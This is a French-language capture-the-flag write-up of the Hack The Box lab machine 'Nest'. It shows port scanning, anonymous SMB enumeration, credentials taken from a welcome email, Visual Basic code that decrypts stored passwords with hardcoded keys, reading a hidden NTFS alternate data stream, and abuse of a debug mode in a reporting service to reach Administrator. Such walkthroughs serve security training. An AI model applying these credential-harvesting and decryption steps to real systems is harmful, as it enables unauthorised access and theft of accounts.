Nest est une machine Windows considérée comme facile/moyenne. Un accès SMB anonyme permet de récupérer un premier compte non privilégié. La récupération d’un mot de passe chiffré et des sources d’un projet Visual Basic permet, après manipulation de récupérer le mot de passe de l’utilisateur en clair. L’escalade de privilège se fait au travers d’un service de “reporting” permettant ainsi de récupérer une nouvelle chaine chiffrée sur le disque. Le déchiffrement de cette dernière permet un accès administrate
Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.
Découverte / Énumération
Un rapide scan de ports permet d’obtenir les services présents sur la machine.
$ sudo nmap -sS -p 0-10000 -T4 -sV -sC default -O -v -oN scan_nmap 10.10.10.178
Nmap scan report for 10.10.10.178
Host is up (0.030s latency).
Not shown: 9999 filtered ports
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.70%I=7%D=2/23%Time=5E52D49C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLin
SF:es,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognise
SF:d\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x2
SF:0V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comma
SF:nd\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\
SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repo
SF:rting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,"
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\
SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\
SF:x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20th
SF:e\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20---
SF:\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_ID>\r\
SF:nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,21,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionReq,21,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,21,"\r\nH
SF:QK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\nHQK\x20
SF:Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A,"\r\nHQ
SF:K\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20command\
SF:r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n
SF:>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\
SF:n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n
SF:>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\
SF:r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20Reporting
SF:\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x20Reporti
SF:ng\x20Service\x20V1\.2\r\n\r\n>")%r(NCP,21,"\r\nHQK\x20Reporting\x20Ser
SF:vice\x20V1\.2\r\n\r\n>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista (91%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (91%), Microsoft Windows Phone 7.5 or 8.0 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 Professional or Windows 8 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 1.473 days (since Sat Feb 22 09:20:24 2020)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Host script results:
|_clock-skew: mean: 1m52s, deviation: 0s, median: 1m52s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-02-23 20:42:32
|_ start_date: 2020-02-22 09:23:12
NSE: Script Post-scanning.
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1012.52 seconds
Raw packets sent: 30720 (1.357MB) | Rcvd: 663 (31.066KB)
Le scan révèle la présence d’un port 445, classique, mais également le port 4386, qui semble être un service de “Reporting”.
Accès SMB anonyme et récupération d’un compte temporaire
Pour les première recherches, on se tourne vers un service que l’on connait déjà, les partages SMB. Grâce à une connexion anonyme, nous sommes en mesure de lister les partages visibles.
$ smbclient -U "" -L \\\\10.10.10.178
Unable to initialize messaging context
Enter WORKGROUP\'s password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
Secure$ Disk
Users Disk
SMB1 disabled -- no workgroup available
À priori, 3 partages peuvent être intéressants pour le moment :
- Data
- Secure$
- USers$
On commencer par regarder du côté du partage Users$
ce qui permet entre autres de récupérer la liste des utilisateurs de la machine. Utile !
$ smbclient -U "" \\\\10.10.10.178\\Users
Unable to initialize messaging context
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jan 26 00:04:21 2020
.. D 0 Sun Jan 26 00:04:21 2020
Administrator D 0 Fri Aug 9 17:08:23 2019
C.Smith D 0 Sun Jan 26 08:21:44 2020
L.Frost D 0 Thu Aug 8 19:03:01 2019
R.Thompson D 0 Thu Aug 8 19:02:50 2019
TempUser D 0 Thu Aug 8 00:55:56 2019
10485247 blocks of size 4096. 6545336 blocks available
Par curiosité, on tente également d’aller faire un tour sur le partage Secure$
. Comme son nom l’indique, ce dernier est plus sécurisé et il n’est pas possible de s’y connecter sans compte utilisateur.
$ smbclient -U "" \\\\10.10.10.178\\Secure$
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
Dernière piste, le partage Data
sur lequel on a accès à plusieurs éléments.
$ smbclient -U "" \\\\10.10.10.178\\Data
Unable to initialize messaging context
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 8 00:53:46 2019
.. D 0 Thu Aug 8 00:53:46 2019
IT D 0 Thu Aug 8 00:58:07 2019
Production D 0 Mon Aug 5 23:53:38 2019
Reports D 0 Mon Aug 5 23:53:44 2019
Shared D 0 Wed Aug 7 21:07:51 2019
10485247 blocks of size 4096. 6545336 blocks available
Après quelques recherches, on tombe rapidement sur un fichier texte “Welcome Email”. Ce type de fichier peut être très intéressant car peut contenir des informations telles que des comptes par défaut.
smb: \Shared\Templates\HR\> ls
. D 0 Wed Aug 7 21:08:01 2019
.. D 0 Wed Aug 7 21:08:01 2019
Welcome Email.txt A 425 Thu Aug 8 00:55:36 2019
10485247 blocks of size 4096. 6545577 blocks available
smb: \Shared\Templates\HR\> get "Welcome Email.txt"
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (3.4 KiloBytes/sec) (average 1.9 KiloBytes/sec)
La récupération de ce fichier donne effectivement les informations souhaitées, puisqu’un compte, accompagné de son mot de passe, est identifié !
$ cat Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR%
On file de ce pas tenter une connexion avec notre nouveau compte du côté du partage Secure$
, non accessible auparavant et bingo, celui ci devient à notre portée.
$ smbclient -U "TempUser" \\\\10.10.10.178\\Secure$
Unable to initialize messaging context
Enter WORKGROUP\TempUser\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 8 01:08:12 2019
.. D 0 Thu Aug 8 01:08:12 2019
Finance D 0 Wed Aug 7 21:40:13 2019
HR D 0 Thu Aug 8 01:08:11 2019
IT D 0 Thu Aug 8 12:59:25 2019
Énumération et récupération du projet VB
Ici commence une nouvelle phase d’énumération. En effet, l’ensemble des éléments non accessibles auparavant doivent être analysés, à la recherche de nouvelles informations.
Cela comprend notamment une portion du partage Data$
auparavant inaccessible.
$ smbclient -U "TempUser" \\\\10.10.10.178\\Data
Enter WORKGROUP\TempUser\'s password:
Try "help" to get a list of possible commands.
smb: \> cd IT
smb: \IT\> ls
. D 0 Thu Aug 8 00:58:07 2019
.. D 0 Thu Aug 8 00:58:07 2019
Archive D 0 Tue Aug 6 00:33:58 2019
Configs D 0 Thu Aug 8 00:59:34 2019
Installs D 0 Thu Aug 8 00:08:30 2019
Reports D 0 Sun Jan 26 01:09:13 2020
Tools D 0 Tue Aug 6 00:33:43 2019
10485247 blocks of size 4096. 6545577 blocks available
smb: \IT\> cd
De la même façon que précédemment pour le fichier de bienvenue, on tombe rapidement en fouillant les répertoires de configuration sur un fichier intéressant, à priori utilisé pour un projet nommé “RU Scanner”.
smb: \IT\Configs\Ru Scanner\> ls
. D 0 Wed Aug 7 22:01:13 2019
.. D 0 Wed Aug 7 22:01:13 2019
RU_config.xml A 270 Thu Aug 8 21:49:37 2019
10485247 blocks of size 4096. 6545577 blocks available
$ cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>%
Un utilisateur ! Le password semble ici chiffré. Néanmoins, pas de doute, on est sur la bonne piste. Nouvelle mission : trouver le projet “RU Scanner”. En effet, si ce dernier utilise des fichiers de configuration comme celui ci, alors il doit être en mesure de déchiffrer le mot de passe.
Je ne l’ai pas mentionné au début de l’article, mais cette machine repose essentiellement sur de la reconnaissance et de la prise d’information. Une fois n’est pas coutûme, ne pouvant pas avancer, on continue de fouiller les ressources accessibles. Une bonne idée peut être d’aller fouiller les autres ressources du répertoire “Configs”. En effet, on y trouve par exemple une configuration pour le logiciel Notepad++.
smb: \IT\Configs\NotepadPlusPlus\> ls
. D 0 Wed Aug 7 21:31:37 2019
.. D 0 Wed Aug 7 21:31:37 2019
config.xml A 6451 Thu Aug 8 01:01:25 2019
shortcuts.xml A 2108 Wed Aug 7 21:30:27 2019
10485247 blocks of size 4096. 6545509 blocks available
Ce fichier nous révèle notamment un chemin absolu vers le répertoire de l’utilisateur Carl
.
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
Même si nous n’avons pas les droits pour lister le contenu du répertoire IT
, il s’avère qu’il est possible de continuer dans l’arborescence, si on dispose d’un chemin valide. C’est justement ce qu’on vient de trouver. Ainsi, on peut se faufiler vers le répertoire de l’utilisateur. :)
smb: \IT\Carl\> ls
. D 0 Wed Aug 7 21:42:14 2019
.. D 0 Wed Aug 7 21:42:14 2019
Docs D 0 Wed Aug 7 21:44:00 2019
Reports D 0 Tue Aug 6 15:45:40 2019
VB Projects D 0 Tue Aug 6 16:41:55 2019
10485247 blocks of size 4096. 6545509 blocks available
Le répertoire VB Projects
indique clairement la voie. Quelques répertoires plus loin, on tombe sur le fameux projet RUScanner
!
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> ls
. D 0 Thu Aug 8 00:05:54 2019
.. D 0 Thu Aug 8 00:05:54 2019
bin D 0 Wed Aug 7 22:00:11 2019
ConfigFile.vb A 772 Thu Aug 8 00:05:09 2019
Module1.vb A 279 Thu Aug 8 00:05:44 2019
My Project D 0 Wed Aug 7 22:00:11 2019
obj D 0 Wed Aug 7 22:00:11 2019
RU Scanner.vbproj A 4828 Fri Aug 9 17:37:51 2019
RU Scanner.vbproj.user A 143 Tue Aug 6 14:55:27 2019
SsoIntegration.vb A 133 Thu Aug 8 00:05:58 2019
Utils.vb A 4888 Wed Aug 7 21:49:35 2019
10485247 blocks of size 4096. 6545509 blocks available
Petite astuce pour télécharger l’ensemble d’un répertoire avec smbclient.
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> mask ""
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> recurse ON
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> prompt OFF
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> mget *
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\ConfigFile.vb of size 772 as ConfigFile.vb (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
...
Déchiffrement et shell utilisateur
Ayant maintenant le code source du projet VB, le but est d’identifier les parties du codes permettant de réaliser le chiffrement/dechiffrement des mots de passe. Je ne vais pas rentrer dans les détails du code, mais une fonction Decrypt
est identifiable assez facilement.
Cette dernière prend plusieurs variables en paramètre, dont le mot de passe chiffré. Si vous ne disposez pas de l’environnement nécessaire pour travailler avec du VB, sachez qu’il existe plusieurs services en ligne offrant un environnement virtuel simplifié.
C’est notamment le cas de dotnetfiddle.com que j’ai utilisé pour cette machine. On extrait ainsi la fonction de déchiffrement, que nous allons appeler dans un simple module, puis on affiche le résultat.
Imports System
Imports System.Security.Cryptography
Imports System.Text
Public Module Module1
Public Sub Main()
Console.WriteLine("Hello World")
Dim password As String
password = Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
Console.WriteLine(password)
End Sub
Public Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End Module
Le résultat ne se fait pas attendre, on obtient le mot de passe déchiffré !
Hello World
xRxRxPANCAK3SxRxRx
Cela permet notamment de récupérer un accès à une nouvelle zone, ainsi que le flag utilisateur !
$ smbclient -U "c.smith" \\\\10.10.10.178\\Users
Enter WORKGROUP\c.smith\'s password:
Try "help" to get a list of possible commands.
smb: \> cd C.Smith\
smb: \C.Smith\> ls
. D 0 Sun Jan 26 08:21:44 2020
.. D 0 Sun Jan 26 08:21:44 2020
HQK Reporting D 0 Fri Aug 9 01:06:17 2019
user.txt A 32 Fri Aug 9 01:05:24 2019
10485247 blocks of size 4096. 6545509 blocks available
Récupération du mot de passe de DEBUG
Nouvel accès = nouvelle phase d’énumération.
Le répertoire HQK Reporting
attire notre attention. Souvenez vous, des informations similaires étaient remontées lors du scan nmap. Il est donc logique qu’il s’agisse du service de reporting.
smb: \C.smith\HQK Reporting\> ls
. D 0 Fri Aug 9 01:06:17 2019
.. D 0 Fri Aug 9 01:06:17 2019
AD Integration Module D 0 Fri Aug 9 14:18:42 2019
Debug Mode Password.txt A 0 Fri Aug 9 01:08:17 2019
HQK_Config_Backup.xml A 249 Fri Aug 9 01:09:05 2019
10485247 blocks of size 4096. 6544215 blocks available
Lors de mes premières recherches sur la machine, j’avais tenté de me connecter au service et j’avais notamment pu voir une fonctionne de debugging, nécessitant un mot de passe. Cela tombe bien, l’extrait ci-dessus mentionne un fichier Debug Mode Password.txt
. Seul problème, le fichier semble vide (taille 0)…
C’est notamment ici qu’intervient une astuce au niveau du système de fichiers, les streams ! Pour faire simple, un stream est une séquence d’octets contenants des informations sur un fichier. Il peut s’agir de mots-clés, informations sur le propriétaire.. etc. Il est possible de créer différents streams.
Avec smbclient
on peut notamment voir ces informations grâce à la commande suivante.
smb: \C.smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: Fri Aug 9 01:06:12 AM 2019 CEST
access_time: Fri Aug 9 01:06:12 AM 2019 CEST
write_time: Fri Aug 9 01:08:17 AM 2019 CEST
change_time: Fri Aug 9 01:08:17 AM 2019 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
On observe ainsi un élément intéressant… Le stream par défaut ($DATA) est en effet vide, mais un second stream, nommé “Password” a été créé !
smbclient
offre également la possibilité de télécharger un fichier en spécifiant les steams souhaités.
Ainsi…
smb: \C.smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$Data"
getting file \C.smith\HQK Reporting\Debug Mode Password.txt:Password:$Data of size 15 as Debug Mode Password.txt:Password:$Data (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
$ cat Debug\ Mode\ Password.txt:Password:\$Data
WBQ201953D8w
Manipulation du service de Reporting
La résolution de cette machine se poursuit sur le second service identifié lors du scan de ports. On peut ainsi se connecter au service par l’intermédiaire d’un telnet.
$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
Disposant maintenant du mot de passe de DEBUG, on peut lancer ce mode et ainsi récupérer un accès à plus de fonctionnalités.
>DEBUG WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional commands that are now available
>HELP
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
La commande SERVICE
nous permet de prendre connaissance du binaire utilisé ici tandis que la commande SESSION
nous indique le répertoire courant.
>SERVICE
--- HQK REPORTING SERVER INFO ---
Version: 1.2.0.0
Server Hostname: HTB-NEST
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
Server Running As: Service_HQK
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES
>SESSION
--- Session Information ---
Session ID: 32315e55-e64a-4b71-bf3f-124285e93ede
Debug: True
Started At: 3/29/2020 11:55:33 AM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.14.4:34380
Current Query Directory: C:\Program Files\HQK\ALL QUERIES
Par la suite, les commandes SETDIR
, LIST
et SHOWQUERY
sont utilisées. Dans les fait, on peut s’en servir comme un système nous permettant de parcourir l’arborescence de la machine. En effet, il est possible d’associer ces dernières aux commandes classique cd
, ls
et cat
.
>SETDIR ../
Current directory set to HQK
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xml
Current Directory: HQK
Les répertoires LDAP
et Logs
attirent notre attention. C’est notamment dans le répertoire LDAP
qu’on trouve notre bonheur.
>SETDIR LDAP
Current directory set to LDAP
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[1] HqkLdap.exe
[2] Ldap.conf
Current Directory: LDAP
Le fichier Ldap.conf
révèle les informations souhaitées, à savoir le mot de passe, chiffré, de l’administrateur !
>SHOWQUERY 2
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
Déchiffrement et escalade de privilège
Ok, on a maintenant un mot de passe chiffré pour le compte privilégié ! Cette partie semblement directement utilisée par le processus afin de réaliser l’authentification de l’administrateur. Ainsi, cela veut dire que nous allons devoir interagir directement avec ce processus.
On commence par le récupérer en local.
Une fois cela fait, on peut décompiler le binaire. J’utilise pour cela dnSpy
. Je passe également ici la recherche d’informations, mais on trouve rapidement la fonction de déchiffrement. Celle ci est identique à celle identifiée auparavant pour la partie utilisateur.
À ce moment, deux options afin de déchiffrer le mot de passe :
- Modifier le code du binaire, afin d’afficher le mot de passe déchiffré, puis le recompiler et l’exécuter ;
- Utiliser une nouvelle fois notre environnement en ligne en modifiant les paramètres de la fonction.
N’étant pas très doué avec dnSpy
et étant un peu blasé de cette machine, j’ai pris la solution de facilité en réutilisant la même chose que pour l’utilisateur :).
[...]
Public Sub Main()
Console.WriteLine("Hello World")
Dim password As String
password = Decrypt(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256, 256)
Console.WriteLine(password)
End Sub
[...]
Et ainsi : XtH4nkS4Pl4y1nGX
Tadaaaam! On peut filer récupérer le flag root.
Pour la petite histoire, je suis d’abord allé voir sur le partage Users
et voici ce que j’ai trouvé.
$ smbclient -U "Administrator" \\\\10.10.10.178\\Users
Unable to initialize messaging context
Enter WORKGROUP\Administrator\'s password:
Try "help" to get a list of possible commands.
smb: \> cd Administrator\
smb: \Administrator\> ls
. D 0 Fri Aug 9 17:08:23 2019
.. D 0 Fri Aug 9 17:08:23 2019
flag.txt - Shortcut.lnk A 2384 Fri Aug 9 17:10:15 2019
10485247 blocks of size 4096. 6544908 blocks available
Pas de flag root… Mais un fichier “flag.txt” (impossible à récupérer pour ma part).
Après quelques secondes de réflexion, j’ai repensé au fait que le partage Users
était une copie/reproduction du répertoire C:/Users
de la machine, et que disposant des droits administrateur, on pouvait tout simplement s’y connecter.
$ smbclient -U "Administrator" \\\\10.10.10.178\\C$
Enter WORKGROUP\Administrator\'s password:
Try "help" to get a list of possible commands.
smb: \Users\Administrator\Desktop\> ls
. DR 0 Sun Jan 26 08:20:50 2020
.. DR 0 Sun Jan 26 08:20:50 2020
desktop.ini AHS 282 Sat Jan 25 23:02:44 2020
root.txt A 32 Tue Aug 6 00:27:26 2019
10485247 blocks of size 4096. 6543963 blocks available
w00ted !